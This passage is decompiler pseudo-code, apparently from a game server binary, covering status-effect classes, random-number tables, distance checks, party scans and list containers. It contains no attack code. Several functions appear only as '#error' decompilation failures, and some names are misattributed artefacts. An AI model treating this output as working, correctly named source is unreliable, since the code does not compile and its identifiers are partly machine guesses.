clockwatch.cw_CurrTick <= this->m_NextTick ) { result = 0; } else { this->m_NextTick += this->m_TickInterval; result = 1; } return result; } //----- (004010D0) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetStrength(AbnormalStateContainer::AbstateElementInObject *this) { return this->aeo_Strength; } //----- (004010E0) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetIndexArgument(AbnormalStateContainer::AbstateElementInObject *this) { return (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_611F6C + 3 * this->aeo_Index) + 36 * this->aeo_Strength + 8); } //----- (00401100) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbstateListInObject::asl_GetAbstateList(void *this) { return (int)((char *)this + 3480); } //----- (00401110) -------------------------------------------------------- unsigned __int16 __thiscall RandomBox::operator__(RandomBox *this, unsigned int limit) { char *v2; // ecx@3 int v3; // eax@3 unsigned __int16 result; // ax@3 if ( limit && limit <= 0x64 ) { v2 = (char *)this + 32776 * limit; v3 = *((_DWORD *)v2 + 8193) & (*((_DWORD *)v2 + 8192) + 1); *((_DWORD *)v2 + 8192) = v3; result = *(_WORD *)&v2[2 * v3]; } else { result = 0; } return result; } //----- (00401150) -------------------------------------------------------- unsigned __int16 __thiscall RandomBox::rb_1000(RandomBox *this) { unsigned int v1; // eax@1 int v2; // eax@1 unsigned int v3; // edx@1 char *v4; // eax@1 int v5; // ecx@1 v1 = this->rb_box[4].rs_point.mask & (this->rb_box[4].rs_point.value + 1); this->rb_box[4].rs_point.value = v1; v2 = this->rb_box[4].rs_slot[v1] + 101; v3 = this->rb_box[v2].rs_point.mask; v4 = (char *)this + v2 * 32776; v5 = v3 & (*((_DWORD *)v4 + 8192) + 1); *((_DWORD *)v4 + 8192) = v5; return *(_WORD *)&v4[2 * v5]; } //----- (004011A0) -------------------------------------------------------- unsigned int __thiscall DirectDistanceTable::ddt_Distance(DirectDistanceTable *this, int dx, int dy) { int v3; // esi@1 int v4; // edi@1 signed int v5; // ebx@1 v3 = dx; v4 = dy; v5 = 1; while ( v3 > 1024 || v3 < -1024 || v4 > 1024 || v4 < -1024 ) { v3 /= 2; v4 /= 2; v5 *= 2; } return v5 * *(unsigned int *)((char *)&this->ddt_Table[0][v4 + 2049 * v3].distance + (_DWORD)((char *)&wholesaver + 8278176)); } //----- (00401200) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int x, int y) { return (**(_DWORD **)(this + 78) - x) * (**(_DWORD **)(this + 78) - x) + (*(_DWORD *)(*(_DWORD *)(this + 78) + 4) - y) * (*(_DWORD *)(*(_DWORD *)(this + 78) + 4) - y); } //----- (00401220) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int loc) { int v2; // eax@1 int v3; // ecx@1 int v4; // eax@1 v2 = *(_DWORD *)(this + 78); v3 = *(_DWORD *)v2 - *(_DWORD *)loc; v4 = *(_DWORD *)(v2 + 4) - *(_DWORD *)(loc + 4); return v3 * v3 + v4 * v4; } //----- (00401240) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_CurMapname(int this) { return *(_DWORD *)(this + 98); } //----- (00401250) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromID(AbnormalStateDictionary::AbState *this, unsigned __int16 sklid) { AbnormalStateDictionary::AbState::AbStateStr *result; // eax@2 if ( this->as_maxhandle >= sklid ) { result = &this->as_AbstateArray[sklid]; } else { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateDictionary::AbState::as_FromID : Invalid skill id", sklid); result = 0; } return result; } //----- (00401290) -------------------------------------------------------- AbnormalStateDictionary::AbState::AbStateStr *__thiscall AbnormalStateDictionary::AbState::as_FromIndex(AbnormalStateDictionary::AbState *this, ABSTATEINDEX sklindex) { AbnormalStateDictionary::AbState::AbStateStr *result; // eax@2 if ( (signed int)sklindex < 412 ) { result = this->as_StateIndexList[sklindex]; } else { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateDictionary::AbState::as_FromIndex : Invalid skill idx", sklindex); result = 0; } return result; } //----- (004012D0) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbnormalStateElement::ase_GetActMilliSec(AbnormalStateContainer::AbnormalStateElement *this) { return 999999999; } //----- (004012E0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::AbnormalStateTickRoutine(AbnormalStateContainer::AbnormalStateTickRoutine *this) { this->baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; Metronome::Metronome(&this->astr_Tick); } // 5A2828: using guessed type int (*AbnormalStateContainer__AbnormalStateTickRoutine___vftable_)(); //----- (00401330) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::_AbnormalStateTickRoutine(AbnormalStateContainer::AbnormalStateTickRoutine *this) { AbnormalStateContainer::AbnormalStateTickRoutine *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->astr_Tick); v1->baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; } // 5A2720: using guessed type int (*AbnormalStateContainer__AbnormalStateElement___vftable_)(); // 5A2828: using guessed type int (*AbnormalStateContainer__AbnormalStateTickRoutine___vftable_)(); //----- (00401380) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_GetActMilliSec(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this) { return 5000; } //----- (00401390) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::_AbnormalStatePartyEnchant(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this) { this->baseclass_0.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; } // 5A2720: using guessed type int (*AbnormalStateContainer__AbnormalStateElement___vftable_)(); //----- (004013A0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateElementNormal::ase_IndexString(AbnormalStateContainer::AbnormalStateElementNormal *this) { return "Normal"; } //----- (004013B0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStatePartyEnchant *this) { return "Party"; } //----- (004013C0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this) { return "GldAca"; } //----- (004013D0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateCouplePartyEnchant::ase_IndexString(AbnormalStateContainer::AbnormalStateCouplePartyEnchant *this) { return "WedCpl"; } //----- (004013E0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateElementRecover::ase_IndexString(AbnormalStateContainer::AbnormalStateElementRecover *this) { return "Recover"; } //----- (004013F0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateReinforcedMove::ase_IndexString(AbnormalStateContainer::AbnormalStateReinforcedMove *this) { return "ReinforcedMove"; } //----- (00401400) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateRestCount::ase_IndexString(AbnormalStateContainer::AbnormalStateRestCount *this) { return "RestCount"; } //----- (00401410) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateTickRoutine::ase_IndexString(AbnormalStateContainer::AbnormalStateTickRoutine *this) { return "Tick"; } //----- (00401420) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_IndexString(AbnormalStateContainer::AbnormalStateEachTickRoutine *this) { return "EachTick"; } //----- (00401430) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStateHide::ase_IndexString(AbnormalStateContainer::AbnormalStateHide *this) { return "Hide"; } //----- (00401440) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::AbnormalStatePolymorph::ase_IndexString(AbnormalStateContainer::AbnormalStatePolymorph *this) { return "Polymorph"; } //----- (00401450) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActor::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActor *this) { return "Actor"; } //----- (00401460) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateMaxHP::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateMaxHP *this) { return "MaxHP"; } //----- (00401470) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateFear::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateFear *this) { return "Fear"; } //----- (00401480) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateCaptivate::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateCaptivate *this) { return "Captivate"; } //----- (00401490) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorPoison::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorPoison *this) { return "Poison"; } //----- (004014A0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorAreaDamage *this) { return "RangeDamage"; } //----- (004014B0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorDisease::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorDisease *this) { return "Disease"; } //----- (004014C0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHPHeal *this) { return "HPHeal"; } //----- (004014D0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSPHeal *this) { return "SPHeal"; } //----- (004014E0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorHPSPHeal::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorHPSPHeal *this) { return "HPSPHeal"; } //----- (004014F0) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorShield::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorShield *this) { return "Shield"; } //----- (00401500) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorManaShield::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorManaShield *this) { return "ManaShield"; } //----- (00401510) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorPartyRecharge::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorPartyRecharge *this) { return "PartyRecharge"; } //----- (00401520) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSelfRevive *this) { return "SelfRevive"; } //----- (00401530) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorRangeIntercept *this) { return "RangeIntercept"; } //----- (00401540) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio *this) { return "LastDmgRetio"; } //----- (00401550) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide *this) { return "LastDmgRatio_DefSide"; } //----- (00401560) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActerTimeAttack::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActerTimeAttack *this) { return "TimeAttack"; } //----- (00401570) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorCastDelay *this) { return "CastDelay"; } //----- (00401580) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorIgnoreCoolTime *this) { return "IgnoreCoolTime"; } //----- (00401590) -------------------------------------------------------- char *__thiscall AbnormalStateContainer::SubAbnormalStateActorSilence::sasa_IndexString(AbnormalStateContainer::SubAbnormalStateActorSilence *this) { return "Silence"; } //----- (004015A0) -------------------------------------------------------- AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbnormalStateElement::ase_This(AbnormalStateContainer::AbnormalStateElement *this) { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateElement *AbnormalStateElement::ase_This called", 0); ShineExit("AbnormalStateElement *AbnormalStateElement::ase_This called"); } //----- (004015D0) -------------------------------------------------------- AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbnormalStateList::operator__(AbnormalStateContainer::AbnormalStateList *this, int num) { AbnormalStateContainer::AbnormalStateElement *result; // eax@3 if ( num < 0 || num >= 412 ) result = 0; else result = this->asl_AbstateNode[num].asn_Abstate; return result; } //----- (004015F0) -------------------------------------------------------- void __thiscall AxialListNearScanParty::AxialListNearScanParty(AxialListNearScanParty *this, unsigned __int16 partyregnum) { AxialListNearScanParty *v2; // esi@1 v2 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0); v2->alnsp_PartyRegnum = partyregnum; v2->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanParty::_vftable_; } // 5A2AD4: using guessed type int (__stdcall *AxialListNearScanParty___vftable_)(int, int, int distancesquar); //----- (00401610) -------------------------------------------------------- void __thiscall AxialListNearScanParty::_AxialListNearScanParty(AxialListNearScanParty *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanParty::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0); } // 5A2AD4: using guessed type int (__stdcall *AxialListNearScanParty___vftable_)(int, int, int distancesquar); //----- (00401620) -------------------------------------------------------- #error "401620: undefined or illegal type '#325' (funcsize=9)" //----- (00401640) -------------------------------------------------------- void __thiscall AxialListNearScanCoupleParty::_AxialListNearScanCoupleParty(AxialListNearScanCoupleParty *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanCoupleParty::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0); } // 5A2ADC: using guessed type int (__stdcall *AxialListNearScanCoupleParty___vftable_)(int, int, int distancesquar); //----- (00401650) -------------------------------------------------------- void __thiscall AxialListNearScanCoupleParty::AxialListNearScanCoupleParty(AxialListNearScanCoupleParty *this, unsigned __int16 partyregnum, unsigned int PartnerRegnum) { AxialListNearScanCoupleParty *v3; // esi@1 v3 = this; AxialListNearScan::AxialListNearScan(&this->baseclass_0); v3->alnsp_PartyRegnum = partyregnum; v3->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanCoupleParty::_vftable_; v3->alnsp_PartnerRegnum = PartnerRegnum; } // 5A2ADC: using guessed type int (__stdcall *AxialListNearScanCoupleParty___vftable_)(int, int, int distancesquar); //----- (00401680) -------------------------------------------------------- #error "401680: undefined or illegal type '#325' (funcsize=22)" //----- (004016C0) -------------------------------------------------------- void __thiscall AxialListNearScanGuildAcademy::_AxialListNearScanGuildAcademy(AxialListNearScanGuildAcademy *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanGuildAcademy::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0); } // 5A2AE4: using guessed type int (__stdcall *AxialListNearScanGuildAcademy___vftable_)(int, int, int distancesquar); //----- (004016D0) -------------------------------------------------------- #error "4016D0: undefined or illegal type '#325' (funcsize=33)" //----- (00401730) -------------------------------------------------------- #error "401730: undefined or illegal type '#325' (funcsize=39)" //----- (004017A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_AbnormalState_BitSet(void *this, signed int abstate) { int result; // eax@1 result = (*(int (**)(void))(*(_DWORD *)this + 1164))() + abstate / 8; *(_BYTE *)result |= 1 << abstate % 8; return result; } //----- (004017E0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage(AbnormalStateContainer::SubAbnormalStateCaptivate *this) { this->baseclass_0.vfptr = (AbnormalStateContainer::SubAbnormalStateActorVtbl *)&AbnormalStateContainer::SubAbnormalStateActor::_vftable_; } // 5A2344: using guessed type int (*AbnormalStateContainer__SubAbnormalStateActor___vftable_)(); //----- (004017F0) -------------------------------------------------------- int __thiscall AbnormalStateContainer::AbnormalStateRestCount::ase_MaxRestCount(AbnormalStateContainer::AbnormalStateRestCount *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx, int strength) { return AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( &sklidx->subabstate[strength], this->asrc_Action); } //----- (00401810) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::ASE_Tick::_ASE_Tick(AbnormalStateContainer::AbstateElementInObject::ASE_Tick *this) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->nextaction); } //----- (00401820) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this, ABSTATEINDEX key) { AbnormalStateContainer::AbstateElementInObject *v2; // esi@1 v2 = this; Metronome::Metronome(&this->aeo_Tick.nextaction); SetItemData::SetItemAbstateEffect::SetItemAbstateEffect(&v2->aeo_SetItemEffect); v2->aeo_Index = key; *(_DWORD *)&v2->aeo_PartyEnchant[4]._bf0 = 0; *(_DWORD *)&v2->gap29[7] = 0; *(_DWORD *)&v2->gap29[15] = 0; *(_DWORD *)&v2->gap29[23] = 0; *(_DWORD *)&v2->gap29[31] = 0; } //----- (00401880) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::_AbstateElementInObject(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // esi@1 v1 = this; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this->aeo_SetItemEffect); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->aeo_Tick.nextaction); } //----- (004018D0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_BashStop(void *this) { return (*(int (**)(void))(*(_DWORD *)this + 2732))(); } //----- (004018F0) -------------------------------------------------------- #error "4018F0: undefined or illegal type '#325' (funcsize=120)" //----- (00401A50) -------------------------------------------------------- AbnormalStateContainer::SkillBlast __thiscall AbnormalStateContainer::SubAbnormalStateActorSilence::sasa_Act_SkillBlast(AbnormalStateContainer::SubAbnormalStateActorSilence *this, AbnormalStateContainer::AbstateElementInObject *aso) { aso->aeo_Tick.terminate = clockwatch.cw_CurrTick; return 2; } //----- (00401A70) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_AttachObject(AbnormalStateContainer::AbnormalStateElement *this, AbnormalStateContainer::AbstateElementInObject *aso, #325 *pTargetObj) { if ( aso ) (*(void (__stdcall **)(_DWORD, _DWORD))(**((_DWORD **)&abstateidentarray + 3 * this->ase_index) + 4))( aso, pTargetObj); } //----- (00401AA0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateElement::ase_DetachObject(AbnormalStateContainer::AbnormalStateElement *this, AbnormalStateContainer::AbstateElementInObject *aso, #325 *pTargetObj) { if ( aso ) (*(void (__stdcall **)(_DWORD, _DWORD))(**((_DWORD **)&abstateidentarray + 3 * this->ase_index) + 8))( aso, pTargetObj); } //----- (00401AD0) -------------------------------------------------------- signed int __cdecl ShineObjectClass::ShineObject::so_smo_SPExhByAbState() { return 1000; } //----- (00401AE0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMobileObject::so_smo_SPExhByAbState(int this) { return *(_WORD *)(this + 7090); } //----- (00401AF0) -------------------------------------------------------- #error "401AF0: undefined or illegal type '#325' (funcsize=9)" //----- (00401B10) -------------------------------------------------------- void __thiscall AxialListNearScanFriend::_AxialListNearScanFriend(AxialListNearScanFriend *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNearScanFriend::_vftable_; AxialListNearScan::_AxialListNearScan(&this->baseclass_0); } // 5A2BF4: using guessed type int (__stdcall *AxialListNearScanFriend___vftable_)(int, int, int distancesquar); //----- (00401B20) -------------------------------------------------------- #error "401B20: undefined or illegal type '#325' (funcsize=23)" //----- (00401B60) -------------------------------------------------------- void __thiscall List::_List(List *this) { void *v1; // ecx@1 this->vfptr = (ListVtbl *)List::_vftable_; v1 = this->l_Array; if ( v1 ) operator delete__(v1); } // 5E68F4: using guessed type int (__stdcall *List_AbnormalStateContainer__AbnormalStateNode____vftable_[3])(__int16 hnd); //----- (00401B80) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, CardDeck::Card *ele) { ListStruct *v2; // esi@1 int v3; // eax@1 v2 = this->l_Array; v3 = 3 * this->l_Finger.store; LOWORD(v3) = v2[this->l_Finger.store].ls_Next; if ( (unsigned __int16)v3 < this->l_MaxSize ) { if ( !v2[(unsigned __int16)v3].ls_IsActiv ) return 0; ele->c_card = v2[(unsigned __int16)v3].ls_Content->c_card; ((void (__stdcall *)(_DWORD))this->vfptr->l_Free)(v3); } return 1; } //----- (00401BD0) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, AbnormalStateContainer::AbstateElementInObject *ele) { int v2; // eax@1 void *v3; // eax@2 char result; // al@3 v2 = this->l_Finger.empty; if ( (_WORD)v2 != -1 && (v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2)) != 0 ) { memcpy(v3, ele, 0x74u); result = 1; } else { result = 0; } return result; } //----- (00401C10) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, AbnormalStateContainer::AbstateElementInObject *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Next; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x74u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00401C60) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, AbnormalStateContainer::AbstateElementInObject *ele) { ListStruct *v2; // esi@1 unsigned __int16 v3; // dx@1 int v4; // esi@2 v2 = this->l_Array; v3 = v2[this->l_Finger.store].ls_Prev; if ( v3 < this->l_MaxSize ) { v4 = (int)&v2[v3]; if ( !*(_BYTE *)(v4 + 8) ) return 0; memcpy(ele, *(const void **)v4, 0x74u); this->vfptr->l_Free(this, v3); } return 1; } //----- (00401CB0) -------------------------------------------------------- char __thiscall List::l_4AllInList(List *this, char (__thiscall *func)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16)) { ListStruct *v2; // edi@0 List *v3; // esi@1 int v4; // eax@1 ListStruct *v5; // ecx@1 ListStruct *v6; // edx@2 int v7; // eax@2 char result; // al@5 v3 = this; v4 = this->l_Finger.store; v5 = this->l_Array; LOWORD(v5) = v5[v4].ls_Next; if ( (unsigned __int16)v5 >= v3->l_MaxSize ) { LABEL_5: result = 1; } else { while ( 1 ) { v6 = v3->l_Array; v7 = (unsigned __int16)v5; if ( !v6[v7].ls_IsActiv ) break; LOWORD(v2) = v6[v7].ls_Next; if ( !func(v6[v7].ls_Content, v3, (unsigned __int16)v5) ) break; v5 = v2; if ( (unsigned __int16)v2 >= v3->l_MaxSize ) goto LABEL_5; } result = 0; } return result; } //----- (00401D10) -------------------------------------------------------- void __thiscall ListTraveler::lt_Home(ListTraveler *this) { List *v1; // eax@1 v1 = this->lt_List; this->lt_CurrElement = v1->l_MaxSize; this->lt_NextElement = v1->l_Array[v1->l_Finger.store].ls_Next; } //----- (00401D30) -------------------------------------------------------- char __thiscall ListTraveler::lt_Next(ListTraveler *this) { List *v1; // edx@1 unsigned __int16 v2; // ax@1 char result; // al@2 v1 = this->lt_List; v2 = this->lt_NextElement; if ( v2 < v1->l_MaxSize ) { this->lt_CurrElement = v2; this->lt_NextElement = v1->l_Array[v2].ls_Next; result = 1; } else { result = 0; } return result; } //----- (00401D60) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall ListTraveler::operator_(ListTraveler *this) { List *v1; // edx@1 int v2; // eax@2 AbnormalStateContainer::AbstateElementInObject *result; // eax@3 v1 = this->lt_List; if ( this->lt_CurrElement < v1->l_MaxSize && (v2 = (int)&v1->l_Array[this->lt_CurrElement], *(_BYTE *)(v2 + 8)) ) result = *(AbnormalStateContainer::AbstateElementInObject **)v2; else result = this->lt_Default; return result; } //----- (00401D90) -------------------------------------------------------- #error "401D90: undefined or illegal type '#325' (funcsize=39)" //----- (00401E00) -------------------------------------------------------- void __thiscall FunctionEntarance::FunctionEntarance(FunctionEntarance *this, unsigned __int16 funcode, char *funcname, unsigned int flag) { this->fe_FunctionCode = funcname; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, funcname); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = funcname; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = flag; } //----- (00401E40) -------------------------------------------------------- void __thiscall FunctionEntarance::_FunctionEntarance(FunctionEntarance *this) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, this->fe_FunctionCode); } //----- (00401E60) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_DistanceSquar(int this, int a2) { int v2; // edx@1 int result; // eax@2 int v4; // eax@3 int v5; // edx@10 int v6; // eax@10 int v7; // ecx@10 int v8; // eax@10 v2 = *(_DWORD *)(this + 98); if ( v2 ) { v4 = *(_DWORD *)(a2 + 98); if ( v4 ) { if ( *(_DWORD *)v2 == *(_DWORD *)v4 && *(_DWORD *)(v2 + 4) == *(_DWORD *)(v4 + 4) && *(_DWORD *)(v2 + 8) == *(_DWORD *)(v4 + 8) && **(_DWORD **)(this + 94) == **(_DWORD **)(a2 + 94) ) { v5 = *(_DWORD *)(a2 + 78); v6 = *(_DWORD *)(this + 78); v7 = *(_DWORD *)v6 - *(_DWORD *)v5; v8 = *(_DWORD *)(v6 + 4) - *(_DWORD *)(v5 + 4); result = v7 * v7 + v8 * v8; } else { result = 999999999; } } else { result = 999999999; } } else { result = 999999999; } return result; } //----- (00401EE0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateList::_AbnormalStateList(AbnormalStateContainer::AbnormalStateList *this) { AbnormalStateContainer::AbnormalStateList *v1; // esi@1 void *v2; // eax@1 v1 = this; v2 = this->asl_AbstateList.l_Array; this->asl_AbstateList.vfptr = (ListVtbl *)List::_vftable_; if ( v2 ) operator delete__(v2); v1->asl_STA_DODGEMAIN.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_KQSKELKNIGHTBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_KQSKELKNIGHTBLOODING.astr_Tick); v1->asl_STA_KQSKELKNIGHTBLOODING.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBSTUNTYPE01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MOBBURNTYPE01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_MOBBURNTYPE01.astr_Tick); v1->asl_STA_MOBBURNTYPE01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_HIDESTUN01.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_STA_MULTIBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateTickRoutine::_vftable_; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v1->asl_STA_MULTIBLOOD.astr_Tick); v1->asl_STA_MULTIBLOOD.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; v1->asl_HUMARACDOWNRATE.baseclass_0.vfptr = (AbnormalStateContainer::AbnormalStateElementVtbl *)&AbnormalStateContainer::AbnormalStateElement::_vftable_; 